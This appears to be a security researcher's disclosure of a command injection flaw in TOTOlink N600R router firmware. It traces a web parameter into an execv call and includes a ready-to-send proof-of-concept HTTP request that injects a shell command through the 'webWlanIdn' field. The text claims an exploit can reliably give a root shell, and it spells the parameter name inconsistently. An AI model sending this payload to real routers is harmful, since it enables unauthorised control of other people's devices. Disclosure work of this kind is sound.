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TOTOlink N600R V5.3c.7159_B20190425 Command injection vulnerability

Overview

1. Affected version

image-20220406182121036

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

image-20220406182839474

The content obtained by the program through the webwlanidx parameter is passed to V5, and then the matching content is passed to V7 through the sprintf function, and then V7 is brought into the cstesystem function

image-20220406182546918

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Use the fat simulation firmware V5.3c.7159_B20190425
  2. Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 145
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647874864:2
Connection: close

{
	"topicurl":"setting/setWebWlanIdx",
	"webWlanIdn":"0test$(ls>/tmp/4.txt;)"
}

The reproduction results are as follows:

image-20220406182926306

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell